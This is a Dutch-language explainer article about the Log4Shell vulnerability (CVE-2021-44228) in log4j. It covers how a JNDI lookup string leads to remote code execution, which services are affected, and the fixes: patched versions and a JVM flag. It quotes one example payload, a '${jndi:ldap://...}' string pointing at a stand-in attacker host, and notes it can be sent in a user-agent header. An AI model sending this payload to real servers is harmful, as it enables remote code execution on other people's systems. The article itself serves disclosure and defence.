Er is een kritieke kwetsbaarheid voor het uitvoeren van externe code gevonden in log4j, een zeer populaire logging-tool die door het grootste deel van de industrie wordt gebruikt. Het is extreem ernstig en treft bijna elke server waarop Java draait, en het is heel eenvoudig te misbruiken, dus u wilt het probleem zo snel mogelijk bijwerken en verhelpen.
Hoe werkt dit?
De bug, opgespoord door CVE-2021-44228, treft waarschijnlijk bijna elke Java-toepassing die log4j gebruikt, en dat zijn er nogal wat gezien hoe alomtegenwoordig het is. Als uw toepassing ooit een tekenreeks inlogt die door een gebruiker is verzonden, is deze waarschijnlijk kwetsbaar. Wat betreft exploits, het is een van de ergste dit jaar, omdat het zich op de een of andere manier kan richten op elke server waarop Java draait (hoewel de primaire aanvalsvector moeilijker kan zijn voor moderne JDK-versies, daarover hieronder meer) .
In wezen stelt de exploit een aanvaller in staat om uw server een willekeurige tekenreeks zoals de volgende te sturen, en als hij deze ergens in uw app logt, zal uw server code uitvoeren die op dat adres wordt gehost.
${jndi:ldap://attacker .com/a}
Dit werkt omdat log4j bij het ontleden van deze uniek geformatteerde string een verzoek doet via de Java Naming and Directory Interface, die uiteindelijk een downloadverzoek naar een willekeurig eindpunt stuurt. Het downloadt en deserialiseert het .class-bestand op een onveilige manier. Omdat Java-klassen statische initialisatieprogramma's kunnen hebben die worden uitgevoerd wanneer de klasse wordt gecompileerd en waarnaar wordt verwezen, resulteert dit in het uitvoeren van willekeurige code op afstand vanuit een eenvoudige, korte tekenreeks. Een client zou bijvoorbeeld zijn user-agent op deze string kunnen instellen, of deze op een andere manier in een verzoek kunnen opnemen, en wanneer uw server het logt, wordt de exploit geactiveerd.
Dat is behoorlijk afschuwelijk, een 9,8 scoren op de CVSS-schaal. Het valt net onder de slechtste score, want ondanks hoe vreselijk het is, heeft het geen invloed op bronnen buiten het bereik van het beoogde systeem (maar geeft het wel toegang op applicatieniveau tot de server waarop de logger draait).
GERELATEERD: Hoe worden beveiligingsproblemen gerangschikt? (CVSS)
Het zal veel toepassingen beïnvloeden. Minecraft was bijvoorbeeld een van de eersten die het nieuws verspreidde en de exploit patchte, omdat het mogelijk was om code uit te voeren zowel op servers als op alle spelers die met een server waren verbonden via de in-game chatberichten. Er is een hotfix-update voor de game uitgebracht om de bug te verhelpen.
Advertentie
Populaire services zoals Steam en iCloud zijn al kwetsbaar bevonden, en beveiligingsonderzoeksbureau GreyNoise heeft al meerdere IP's gedetecteerd die scans uitvoeren op kwetsbare servers.
@GreyNoise ziet momenteel 2 unieke IP's het internet scannen op de nieuwe Apache Log4j RCE-kwetsbaarheid (geen CVE toegewezen nog niet).
Een tag om deze activiteit bij te houden op https://t.co/QckU3An40q zal binnenkort beschikbaar worden gesteld en als antwoord worden gelinkt wanneer deze wordt vrijgegeven.— remy (@_mattata) 10 december 2021
U gebruikt waarschijnlijk al log4j, aangezien het in honderden andere bibliotheken is opgenomen als de standaard logging-tool. JDK-versies groter dan 6u211, 7u201, 8u191 en 11.0.1 worden echter niet beïnvloed door de primaire aanvalsvector (met LDAP) die momenteel wordt misbruikt. Dat wil niet zeggen dat je niet moet updaten, aangezien de bug in log4j + JNDI nog steeds ernstig is en ook gemakkelijk kan worden gebruikt met andere aanvalsvectoren.
Hoe los ik het op?
Gelukkig is er al een oplossing die het volledig patcht, dus u moet uw servers zo snel mogelijk bijwerken. Dit is echter ook van invloed op clienttoepassingen, die ook moeten worden bijgewerkt voor deze kritieke patch. Immers, op 3 miljard apparaten draait Java, dus het zal een tijdje duren voordat het volledig is opgelost.
De exploit is al gepatcht in de nieuwste release van log4j , 2.15.0-rc2, dus je moet dat bijwerken als je kunt. De patch is ook teruggezet naar eerdere versies, gezien de ernst voor gebruikers die vast kunnen zitten aan oudere releases.
Als je een andere bibliotheek gebruikt die log4j gebruikt, zou je dit nog steeds handmatig moeten kunnen doen update in de meeste gevallen, maar als je dat niet kunt, kun je deze JVM-vlag gebruiken om het probleem te verhelpen, wat log4j eenvoudig vertelt om nooit zoekopdrachten uit te voeren bij het formatteren van berichten.
-Dlog4j2.formatMsgNoLookups=true